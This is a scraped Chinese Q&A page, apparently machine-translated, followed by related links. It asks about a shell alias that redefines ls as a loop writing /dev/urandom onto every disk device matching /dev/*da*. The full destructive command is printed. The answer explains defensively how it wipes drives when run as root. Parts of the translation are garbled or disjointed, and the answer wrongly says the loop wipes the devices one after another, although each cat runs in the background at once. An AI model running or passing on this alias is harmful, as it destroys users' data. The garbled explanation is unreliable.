这个命令有一些帮助,不确定它是做什么的吗?

哈伯特里克斯

但是我的推定是有害的

 alias ls="for i in /dev/*da* ; do cat /dev/urandom &> ${i} & done

如果代码似乎丢失/错误缩进,请修复它。

克里斯·奥林

该代码不正确。它在for循环的末尾缺少右引号,这可能是有害的。让我解释一下。

alias命令是外壳公告。顾名思义,它将一个单词作为另一个命令的别名。那本身不是恶意的或有害的。在大多数情况下,它非常有用,尤其是当您需要定期运行带有多个标志和参数的非常长的命令时。

使此命令潜在有害的是两个不同因素的组合。

  1. 别名将覆盖现有命令。我在下面提供了一个示例:
-bash-3.2$ type ls
ls is hashed (/bin/ls)
-bash-3.2$ ls
file  file1  file2
-bash-3.2$ alias ls="echo this is a test"
-bash-3.2$ ls
this is a test
-bash-3.2$
  1. alias正确执行命令后,它将ls使用for循环覆盖该命令,执行该循环时,将使用伪随机数据覆盖第一个可识别的硬盘驱动器中的第一个,然后继续执行下一个。

要尝试分解此for循环的工作方式,首先需要在/ dev中查找与通配符扩展匹配的任何设备块*da*IDE驱动器使用h前缀,而SATA驱动器使用s前缀。在大多数具有一个硬盘驱动器的现代计算机中,该硬盘驱动器的设备块为/dev/sda

从那里开始,每个分区都带有数字后缀(例如sda1sda2等等)。匹配设备块后,$ i的值将包含它的路径。然后,它将在后台运行该命令cat /dev/urandom &> ${i} &,该命令cat /dev/urandom在后台运行,并将其吐出的所有数据发送为$ {i}的值,从而用伪随机数据有效地覆盖了设备块。

一旦第一个分区被填满,该cat命令将结束并且for循环将再次运行,检查下一个匹配的块设备,用伪随机数据覆盖它,然后继续进行下一个直到不再有匹配的块设备。

需要明确的是,这本身并不是有害的。运行此alias命令后,您必须运行ls(以root用户身份运行-如果您不是root用户,则将无法运行,因为您无法以任何其他用户的身份将数据写入设备块)会造成任何损害。

可视化这是多么危险的一个好方法是奔跑bash -xShell启动时,将运行一堆系统和用户特定的配置文件。对于bash,常见的是/etc/bash_profile~/.bash_profile通常,这些文件之一还具有if语句,以检查~/.bashrc是否存在该源。由于这仅在ls以root用户身份执行时才有效,因此该alias命令必须首先以root用户身份运行。要使某人将此文件添加到其中一个文件中,他们必须首先以某种方式获得root用户访问权限。

最后,我想指出的是,这是一个不切实际的问题,对于某些人来说,要拔出他们没有root访问权限的计算机将非常困难。也有一些涉及较少的,同样是恶意的命令,这些命令不需要root访问系统即可执行。

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

这个命令是做什么的

来自分类Dev

你能解释一下这个 Haskell List Comprehension 例子是做什么的吗?

来自分类Dev

这个“加入”是做什么的?

来自分类Dev

我写了一些jQuery,不确定为什么它不起作用

来自分类Dev

有一些问题,不确定是否甚至可能

来自分类Dev

InfoWindows 有一些问题。不确定如何处理它

来自分类Dev

不确定Windows Path命令在做什么?

来自分类Dev

正在创建一些不确定的线程,而不是终止

来自分类Dev

一些我不确定的与Kivy Buildozer相关的东西

来自分类Dev

Umbraco AncestorOrSelf(int)-它是做什么的?

来自分类Dev

SQL Server“完成”-它是做什么的?

来自分类Dev

对Linux中的chown命令有一些疑问吗?

来自分类Dev

这些命令是做什么的?

来自分类Dev

这个tr命令中的点是做什么的:tr ............. AZ A-ZA-Z <<<“ JVPQBOV”(有13个点)

来自分类Dev

这个tr命令中的点是做什么的:tr ............. AZ A-ZA-Z <<<“ JVPQBOV”(有13个点)

来自分类Dev

这个下垂是不确定的吗?

来自分类Dev

需要一些帮助调试这个java

来自分类Dev

这个汇编代码是做什么的?

来自分类Dev

这个JavaScript到底是做什么的?

来自分类Dev

这个 Iptables 规则是做什么的?

来自分类Dev

Elixir 程序,这个程序是做什么的?

来自分类Dev

有什么办法可以在JavaScript中使用不和谐的bot,在python中使用一些命令吗?

来自分类Dev

我见过这个,但不确定它是什么意思

来自分类Dev

这个 if 语句在 C 中是如何工作的。我知道它是做什么的,但我不能把它分成几块

来自分类Dev

这个命令是做什么的?ls / usr / bin | grep“ man” | sed“ s / man / ### /”?

来自分类Dev

有人可以帮助澄清整数对象和其他一些事情吗

来自分类Dev

这个sda3分区上有一些可用空间吗?

来自分类Dev

什么是Windows页面文件?并且它是做什么的?

来自分类Dev

不确定while语句在做什么

Related 相关文章

  1. 1

    这个命令是做什么的

  2. 2

    你能解释一下这个 Haskell List Comprehension 例子是做什么的吗?

  3. 3

    这个“加入”是做什么的?

  4. 4

    我写了一些jQuery,不确定为什么它不起作用

  5. 5

    有一些问题,不确定是否甚至可能

  6. 6

    InfoWindows 有一些问题。不确定如何处理它

  7. 7

    不确定Windows Path命令在做什么?

  8. 8

    正在创建一些不确定的线程,而不是终止

  9. 9

    一些我不确定的与Kivy Buildozer相关的东西

  10. 10

    Umbraco AncestorOrSelf(int)-它是做什么的?

  11. 11

    SQL Server“完成”-它是做什么的?

  12. 12

    对Linux中的chown命令有一些疑问吗?

  13. 13

    这些命令是做什么的?

  14. 14

    这个tr命令中的点是做什么的:tr ............. AZ A-ZA-Z <<<“ JVPQBOV”(有13个点)

  15. 15

    这个tr命令中的点是做什么的:tr ............. AZ A-ZA-Z <<<“ JVPQBOV”(有13个点)

  16. 16

    这个下垂是不确定的吗?

  17. 17

    需要一些帮助调试这个java

  18. 18

    这个汇编代码是做什么的?

  19. 19

    这个JavaScript到底是做什么的?

  20. 20

    这个 Iptables 规则是做什么的?

  21. 21

    Elixir 程序,这个程序是做什么的?

  22. 22

    有什么办法可以在JavaScript中使用不和谐的bot,在python中使用一些命令吗?

  23. 23

    我见过这个,但不确定它是什么意思

  24. 24

    这个 if 语句在 C 中是如何工作的。我知道它是做什么的,但我不能把它分成几块

  25. 25

    这个命令是做什么的?ls / usr / bin | grep“ man” | sed“ s / man / ### /”?

  26. 26

    有人可以帮助澄清整数对象和其他一些事情吗

  27. 27

    这个sda3分区上有一些可用空间吗?

  28. 28

    什么是Windows页面文件?并且它是做什么的?

  29. 29

    不确定while语句在做什么

热门标签

归档